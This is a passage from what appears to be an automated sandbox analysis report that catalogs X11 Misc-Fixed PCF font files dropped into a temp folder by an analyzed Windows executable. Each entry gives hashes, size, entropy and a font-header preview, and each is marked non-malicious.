SSDEEP:	96:aolceJ09bpuXLPJlGFUgzuIzQEpKq0nWra+v+UlApF/lSoVgjWqEHR3bZ3Ea8OoB:ao9J0Bp8lQp9rGjxzqYZTAGK
MD5:	5ACF2FFA313A824CEAC5484425D48ED2
SHA1:	CA59459C41F9EBF5BE4DCCA942D88D687F16F763
SHA-256:	FC8332E131B8DC713E92CCEEBCA9D40FF745ABEF9442F62F6EEF166D607E9837
SHA-512:	B68D96FC6C855C42EE124400CBF2014CF0A35BF5B81A9036225DD8CFCFA969CB630D0C87D3387AA38586D009B899CB482BAEC8357AFAFC3F7C5AED696835C282
Malicious:	false
Preview:	.fcp............X...............d...............d...T............"..............d...... ............/..@............1...............4..........d...8>............................... ....,...2....>...E....K...M....[...b....q...r........}....Z........K........K.................<.......................................!............/...f........m....g...x...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--9-90-75-75-C-60-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19636
Entropy (8bit):	3.2906703474434362
Encrypted:	false
SSDEEP:	96:2zL3l5J0A1SZPbqGQWc3AzAHBA3FHlSoVgjWqEHR3bZ3Ea8OoIOll07eE:2zj3J0A1SZPboUXxzqYZTAGP
MD5:	9108846C31349CE5A6FD54A82CF8C7AA
SHA1:	C264C2A7E2BD0BC1C42A386A3EABF64F85884376
SHA-256:	F0134C93E873BFE20A53FA13352EAABB51B7B1E351ACA58C77400DAA10FD425A
SHA-512:	4CDCBED343FF14B564F39E4201FF116EFD565C8B64B8984BBD60326ABD158BD127C0970445BA28C59B4788633485B81DA636FF1AB24BE29685D8534D2B48EAFE
Malicious:	false
Preview:	.fcp............................d...4...........d................0..............d....8.. ...........@=..@...........P?...............B..........d...lL............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....C...[....`.................k.............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT._GBDFED_INFO.Edited with gbdfed 1.3..FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH......................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-10.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19564
Entropy (8bit):	3.281281007285256
Encrypted:	false
SSDEEP:	96:S6FVWJAT1SZPbGGQWc3ALFHlSo4EXedHR3bZ3+L+sLhaLcU:S6fWJAT1SZPb7XMEOvZbsLQP
MD5:	F1EE5B3842B2CA528F7B3B6BA509ED46
SHA1:	66982A65F21776C558E38A8DB28B0B10FD7247A0
SHA-256:	5A4C55F41A546A3C3B4315B7A7BD084C4263178CCFD6358D2EE52608202C4B68
SHA-512:	EB80C1086B379E76D9AFEB1A2F6D6698CF53F3C3020B79FC20BCB217ED91298E15D56946203C8A5F56A76BFFD4A7299E0A1204BE7CE1D2C831773EBC8BDEC633
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?..........\|....B..........d...$L............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F.......................................#.................7....<...v........}....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.10.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-10.WEIGHT.RESOLUTION.QUAD_WIDTH.................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-11.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18856
Entropy (8bit):	3.21106641466451
Encrypted:	false
SSDEEP:	96:S68VWJHO1SZPbwGQWc3AIcccHAcbcmccccccccbbbcccDbbXHiiicaF3lSownnnp:S6+WJHO1SZPbJ+HC3cnbZQGF
MD5:	A6F8C54E4A41097169F4A9D2FC8F782B
SHA1:	9DB863291861E8A45779945657524944720BCE6E
SHA-256:	1FEEFB2FB9554A808E40665F7A9B1B2E5F617EE67F1456250FD1E646B6538C5D
SHA-512:	A3D84FB8C17F640299C34DBCB0E9BB699203B548B2343DBAD67D71193F99E88A4AA4768A6046D1D79E44D70A6ED86638FB8085DDA3CCF34987506D62CF7C1593
Malicious:	false
Preview:	.fcp............p...............d...............<...l........... /..............<....6.. ............;..@.......d....=..............p@..........d...`I............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F.......................................#.................7....<...v........}....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.11.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-11.WEIGHT.RESOLUTION.QUAD_WIDTH.................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-13.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19628
Entropy (8bit):	3.301264148160588
Encrypted:	false
SSDEEP:	96:S6FVWJFK1SZPbmGQWc3ApyAFHlSo6gyogLhHR3bZ32m5oIcj5lkvCsozh:S6fWJFK1SZPb5pXMvZBXeLiBozh
MD5:	1AF49F67A45E50246D28AB9DB47DD5F2
SHA1:	C3F01C93B8F7DDD7BDD148BAB73D7AFE65DE1B1C
SHA-256:	E5070FE0BA8A89E335D88C6D960633B053F458C7FA53D4765F604D5B75E01E6D
SHA-512:	469CE18A7B7AF13964FF7607D126D247E585310011CA7B614FAEDFC336E1CF7506B4D25E73DE01EAF2E06C33E154891DCBF805FC1E6F51B21B0DEB3840EECED8
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?...............B..........d...dL............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F.......................................#.................7....<...v........}....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.13.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-13.WEIGHT.RESOLUTION.QUAD_WIDTH.................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19580
Entropy (8bit):	3.3003890793843573
Encrypted:	false
SSDEEP:	96:S6FVWJEP1SZPb+GQWc3AnEFHlSoHFHR3bZ3MqRxM:S6fWJEP1SZPbcXTXZc8O
MD5:	634391580A5E861FAE700F38457FC060
SHA1:	DFB55E0C12C9202BCC7B1C6C342DC5497F9D2CC3
SHA-256:	4CFF5D833A0B18E038B055BF52AD42581DAF484EDE8763DE8DC0D688F23AAED0
SHA-512:	6688BDDCD095CA996BE82801F1D74A0BC67913DEBAFAFA308F4C417638F69A40390D5B93FB4568B88907F6AFDA824D05B24A39BDA2D039A624E26AF82C67AB24
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?...............B..........d...4L............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F.......................................#.................7....<...v........}....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.14.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-14.WEIGHT.RESOLUTION.QUAD_WIDTH.................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-15.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19564
Entropy (8bit):	3.279229812200289
Encrypted:	false
SSDEEP:	96:S6FVWJLU1SZPbqGQWc3A83FHlSoLX2HR3bZ3EaJoI0207eE:S6fWJLU1SZPbuXeZVk3
MD5:	149DE58B1722182C9CB9141FA195FDAD
SHA1:	910D73D44658175C8E19AEE526F23CDD138E2C53
SHA-256:	22EAF64D10DDB651226228577537F6815721278B443F7BA7F4E97D250B9ABC16
SHA-512:	42BE87E1B7051AA1D34FB1816F0580846F59999D104323AA1028618A55621599CD69107675E85EBA86FAB5087CA995D30D87458C426DF04C17C1D78013DE8297
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?..........\|....B..........d...$L............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F.......................................#.................7....<...v........}....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.15.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-15.WEIGHT.RESOLUTION.QUAD_WIDTH.................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-16.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19612
Entropy (8bit):	3.2921336486379307
Encrypted:	false
SSDEEP:	96:S6FVWJKJ1SZPbIGQWc3AOeFHlSo3ILKHR3bZ3H5oA5fFRR:S6fWJKJ1SZPbjXDILKZXPPr
MD5:	B96E44B9BD47C36211DC6B84C8215DDB
SHA1:	6D727425DDC7A4DCFA5AFCEF8C58B35260A5C226
SHA-256:	0CF9B9F321085906E22ADD0BCE9A4D5EC578369B04B764925C6FDC2B6E1BB863
SHA-512:	8FCCB49F899CD02A2107BC9FFABBDE8922F1A81D3177B76A99784D665C5A5391390DC15FE2D52783D76D1A6B28E14E6C8BAAFB4557DE72D0826CDBFCC5B4091C
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?...............B..........d...TL............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F.......................................#.................7....<...v........}....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.16.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-16.WEIGHT.RESOLUTION.QUAD_WIDTH.................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-2.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19556
Entropy (8bit):	3.2593293613863366
Encrypted:	false
SSDEEP:	96:S613lbJJA1SZPb0GQWc3AvH8FHlSo/28uxJHR3bZ3jL5s1V:S6lVJJA1SZPblcXj28aZTg
MD5:	B2BC95DB8E980FF357450C6CC41AF879
SHA1:	8FAFEADB3CA9ED1914FF574EF224538E8C7436F3
SHA-256:	1EDD4A79EC58B08655DD5AE4E3E4E270DB1585C741D6A9F7BFAB6325320E4F35
SHA-512:	B3FB1CDF547B88FECC2F3886B9FBC7F24E0747052E03D1FC28157FAF31B7A3F74EAD30E7AA251EF8DC97FDEFE4A6B503A454AFD05FC1B597DFF292B12AF93204
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?..........t....B..........d....L............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....;...t........{....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.2.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-2.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-3.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19052
Entropy (8bit):	3.2768336983836286
Encrypted:	false
SSDEEP:	96:S693lbJ6W1SZPbjGQWc3AOnqUdulSo845fHR3bZ3Du6xS:S6tVJ6W1SZPbdrITfZhU
MD5:	86643E1252AEB89A937D5D2238C6FBC0
SHA1:	0F8D854875D53199FBB6613DB770D33356C19295
SHA-256:	C627A20B33ADAB6527EA6BFA28EC3E8D77469AE13CA317AD846B28409570C8D8
SHA-512:	9AD0623A474AA3EC4D993F6489263B1E47F08132D47B7433A5D74AA3D16E6D07A362EC24C22412BA741F295C8529D9E1974C53EE1C52CE601A480C9127512B44
Malicious:	false
Preview:	.fcp............p...............d...............@...l...........X/..............@....7.. ...........D;..@.......h...T=..........h....@..........d...$J............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....;...t........{....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.3.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-3.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-4.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19576
Entropy (8bit):	3.2693046453883867
Encrypted:	false
SSDEEP:	96:S6t3lbJ3O1SZPboGQWc3AIk+FHlSoIAMefeiJGHR3bZ3aOXBecI:S6dVJ3O1SZPbmXVGioZBBI
MD5:	0ED354013292D06FC8A6414923D59256
SHA1:	79725C927C98293483B3A50A2919D121831AABDD
SHA-256:	683E25136C0FD1612CD51D385F096BF881B02E7A2581F091327879743592993A
SHA-512:	D8F4034C0C2027CEAF1C0F232E7942C9009EF7C20DA2FD5775635F407755F3C2C64E0C0E5478A0586D530DA80BA9FC5C14AAC7EC4E5B883DAFC79D713BF52623
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?...............B..........d...0L............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....;...t........{....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.4.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-4.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-5.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19704
Entropy (8bit):	3.2943752831425828
Encrypted:	false
SSDEEP:	96:S6Y3lbJwZ1SZPbWGQWc3AuQcrcQTccJccWHkYFHlSo1HR3bZ383IjvyM:S6uVJwZ1SZPbNX7ZSIx
MD5:	E0980470E2DF929FA13B4B2A488ABC45
SHA1:	25201A0E0F06547DC165E0166E9E0484758284FB
SHA-256:	FA6F3D5FBE3A2464A3A99976802EB126419DADF0445F2CC41D21AD097B9A633E
SHA-512:	07BD146936F85042C21DC5DF986FA23894645DAD3F25F04757BE5DFA30DFFF323CAC08A3B2C36AEAAFEDBEF70EEA1F79B164F63BE2B6B1ACDB40AD5A0BE18727
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?...............B..........d....L............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....;...t........{....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.5.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-5.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-7.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19276
Entropy (8bit):	3.257873216086712
Encrypted:	false
SSDEEP:	96:S6Y3lbJmW1SZPbsCGQWc3AtHl8J+pfGlSoeGmxHR3bZ3Eov81dTfvVRgH:S6uVJmW1SZPbsJBpCMDZN
MD5:	166F9E838136E3822E89192CE503F6C7
SHA1:	546E3D5C44BCCC5CC446643437DEA0CB9E7626EB
SHA-256:	83CE1518161B998F00C086BE3032AA85A06ED8FE6F4A7398E8F613B41C83120E
SHA-512:	CD697298A5C66ECC3427E118792CA1AB1A3426BFA3C5B843DFD400920E15730005067BF2EA0345C5B34D5FAC4C57909DD79B820F6A418157E0F41F9F487C1334
Malicious:	false
Preview:	.fcp............p...............d...............T...l...........80..............T....7.. ...........L<..@.......x...X>..........4....A..........d....K............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....;...t........{....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.7.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-7.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-8.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16492
Entropy (8bit):	3.28757862141045
Encrypted:	false
SSDEEP:	96:S6n3lbJjg1SZPGGQWc3ASAHbVyDxcXf+lSoOEHR3bZ3SGoIY8l/q:S63VJjg1SZP9RJ6xZdt/q
MD5:	34EC45C35ACE0FFFDDEE389E4ACC5894
SHA1:	C62B05F6A1206BE9E6CC67F89985AB718828ED17
SHA-256:	C3772C9BEE0AEC9E05DD78702F67F7ED0CFEFF71DD1FF5D836D7BC79843BA282
SHA-512:	81CD0AFB7034C79BAD8F2D548679AEC0DDAC37A7683939697446951A87468FB37910444B840EA51A82158D2E692370D160C81DC746320EC929C030C91D251C34
Malicious:	false
Preview:	.fcp............p...............d...................l............(.................../.. ...........D3..@...........H5..............48..........d...$@............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....;...t........{....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.8.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-8.WEIGHT.RESOLUTION.QUAD_WIDTH....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-ISO8859-9.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19608
Entropy (8bit):	3.2812236186357615
Encrypted:	false
SSDEEP:	96:S6t3lbJ8V1SZPbmGQWc3AzAHBJwFHlSoVZTHR3bZ3Ea8OoIOllTreY:S6dVJ8V1SZPbsEXxZRZTAF1
MD5:	191E805F7BD96AC64D059CFD3B9076F4
SHA1:	85E373863343413CA1B21C1441CB17E55BA68349
SHA-256:	BD551BF727E28F693C4C5EBCC697DFE4B0766D08BB871A85A173E828FDF04D3B
SHA-512:	05095C29AE94578CEF5F21FCC6104FC1BD843DA5B4FBB40C13A062EA3BB94DF0BAB64DE68ADAC0CD296F50795184B279663E2F9F35B53BE14D357206E327F341
Malicious:	false
Preview:	.fcp............p...............d...............d...l............0..............d....8.. ............=..@...........$?...............B..........d...PL............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....;...t........{....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.9.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO8859-9.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13-KOI8-R.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	22340
Entropy (8bit):	3.2935249015382206
Encrypted:	false
SSDEEP:	96:qUaPJJT1SZPbkGQWc3A2hZPcbcvcQTccciTgKFnlSot/lvG1n0XleHR3bZ36fPkZ:qXJJT1SZPbMZT3h/queZbf7
MD5:	549DE35E15A0F90923348A25AA04A366
SHA1:	4B4F2D9BD79A3D7A2845818315B1012CC1A81DE4
SHA-256:	B91771F4BEA32257EDC92D7F88A80EB43921B36F51871C2F04A6C941D9681A14
SHA-512:	DC42B1DAA20B728F25F827D81FD665A6F4B4BC307EEE8C608F6506BB4E0FB1C29119A35C4F9FD476283F7E210D9B91481EE876365E0B111A289ADED282CE5911
Malicious:	false
Preview:	.fcp............h...............d...................d............7..h...............H@.. ...........LE..@...........\G..............`K..........d....V............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F................................................*........3....8...n........u....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.KOI8.CHARSET_ENCODING.R.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-KOI8-R.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	291712
Entropy (8bit):	3.5727594628797887
Encrypted:	false
SSDEEP:	3072:MaSSICyfGhQbCLxZj9xwRZ/SXFfVD31c+nEhxH0:M9SJmGhQbCJr
MD5:	D1D4BBA59C5053716FC6390559ACEB49
SHA1:	B0587CDE6BAAA64222943883B780CB4AFD581F0A
SHA-256:	BDA22BE99A4D4E8D06BDFF9402C46D360F3F0B5009D3E49302300CB8F502B313
SHA-512:	CB9258BDDE898A61CDA7111710FA8447DE5529BF3B72D044BB3B677DA2BF98607AF874FDDFB4E22A47D863BAC5D1C0EDC6841160077881081109A2BD046B5865
Malicious:	false
Preview:	.fcp............................d...8...........(?...................B..........(?...... ........b...E..@........2..............................d...8s............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F.......................................#....1...J........U........^....c.................k.............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION._XMBDFED_INFO.Edited with xmbdfed 4.5..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-70-ISO10646-1.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................

